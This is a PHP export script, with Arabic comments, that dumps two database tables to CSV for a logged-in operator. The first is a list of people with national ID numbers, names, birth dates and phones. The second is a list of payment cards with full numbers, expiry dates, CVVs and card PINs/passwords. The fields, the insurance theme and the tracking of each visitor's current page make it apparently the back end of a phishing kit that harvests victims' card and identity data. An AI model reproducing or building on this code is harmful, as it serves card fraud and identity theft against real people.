<?php
session_start();
if (!isset($_SESSION['login'])) {
    header('Location: login.php');
    exit;
}

require_once 'classes/db.php';
$db = new DB();

// جلب بيانات المستخدمين
$users = $db->selectAll('users');
// جلب بيانات البطاقات
$cards = $db->selectAll('card');

// إنشاء ملف CSV للتحميل المباشر
$filename = 'data_' . date('Y-m-d_H-i') . '.csv';

header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');

// BOM for UTF-8 (عشان Excel يقرأ العربي صح)
echo "\xEF\xBB\xBF";

$output = fopen('php://output', 'w');

// === بيانات المستخدمين ===
fputcsv($output, ['=== بيانات المستخدمين ===']);
fputcsv($output, ['آخر إدخال', 'الصفحة الحالية', 'الرقم الوطني', 'الاسم', 'الميلاد', 'رقم الهاتف', 'شركة التأمين', 'السعر']);

if ($users) {
    usort($users, function($a, $b) {
        return strtotime($b['updated_at'] ?? $b['created_at'] ?? '0') - strtotime($a['updated_at'] ?? $a['created_at'] ?? '0');
    });
    foreach ($users as $user) {
        fputcsv($output, [
            $user['message'] ?? '',
            $user['page'] ?? '',
            $user['ssn'] ?? '',
            $user['fullname'] ?? '',
            $user['birthday'] ?? '',
            $user['phone'] ?? '',
            $user['insurance_company'] ?? '',
            $user['insurance_price'] ?? ''
        ]);
    }
}

// سطر فاصل
fputcsv($output, []);
fputcsv($output, []);

// === بيانات البطاقات ===
fputcsv($output, ['=== بيانات البطاقات ===']);
fputcsv($output, ['رقم البطاقة', 'الاسم على البطاقة', 'تاريخ الانتهاء', 'CVV', 'كلمة المرور', 'شركة التأمين', 'السعر']);

if ($cards) {
    foreach ($cards as $card) {
        fputcsv($output, [
            $card['cardNumber'] ?? '',
            $card['cardName'] ?? '',
            $card['year'] ?? '',
            $card['cvv'] ?? '',
            $card['password'] ?? '',
            $card['insurance_company'] ?? '',
            $card['insurance_price'] ?? ''
        ]);
    }
}

fclose($output);
exit;
